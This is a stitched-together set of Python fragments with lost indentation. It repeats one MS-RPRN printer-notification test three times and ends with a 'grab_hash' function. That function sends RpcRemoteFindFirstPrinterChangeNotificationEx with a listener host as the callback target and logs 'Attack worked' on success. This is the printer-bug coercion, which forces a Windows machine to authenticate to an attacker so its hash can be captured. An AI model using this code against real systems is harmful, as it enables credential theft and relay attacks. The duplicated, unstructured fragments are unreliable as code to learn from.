def test_hRpcRemoteFindFirstPrinterChangeNotificationEx(self):
dce, rpctransport = self.connect()
resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % self.machine)
with assertRaisesRegex(self, rprn.DCERPCSessionError,
"ERROR_INVALID_HANDLE"):
rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(
dce,
resp['pHandle'],
rprn.PRINTER_CHANGE_ADD_JOB,
pszLocalMachine="\\\\%s\x00" % self.machine)
def test_hRpcRemoteFindFirstPrinterChangeNotificationEx(self):
dce, rpctransport = self.connect()
resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % self.machine)
try:
resp = rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(dce, resp['pHandle'], rprn.PRINTER_CHANGE_ADD_JOB, pszLocalMachine = '\\\\%s\x00' % self.machine )
resp.dump()
except Exception as e:
if str(e).find('ERROR_INVALID_HANDLE') < 0:
raise
def test_hRpcRemoteFindFirstPrinterChangeNotificationEx(self):
dce, rpctransport = self.connect()
resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % self.machine)
try:
resp = rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(dce, resp['pHandle'], rprn.PRINTER_CHANGE_ADD_JOB, pszLocalMachine = '\\\\%s\x00' % self.machine )
resp.dump()
except Exception as e:
if str(e).find('ERROR_INVALID_HANDLE') < 0:
raise
def grab_hash(dce, handle, listener):
global debug
logging.info("sending RFFPCNEX...")
try:
resp = rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(
dce,
handle,
rprn.PRINTER_CHANGE_ADD_JOB,
pszLocalMachine='\\\\%s\x00' % listener)
if debug is True:
logging.info("raw response: ")
resp.dump()
except Exception as e:
if str(e).find('RPC_S_SERVER_UNAVAILABLE') >= 0:
logging.info(
'Got expected RPC_S_SERVER_UNAVAILABLE exception. Attack worked'
)
pass
else:
logging.error("exception %s" % str(e))
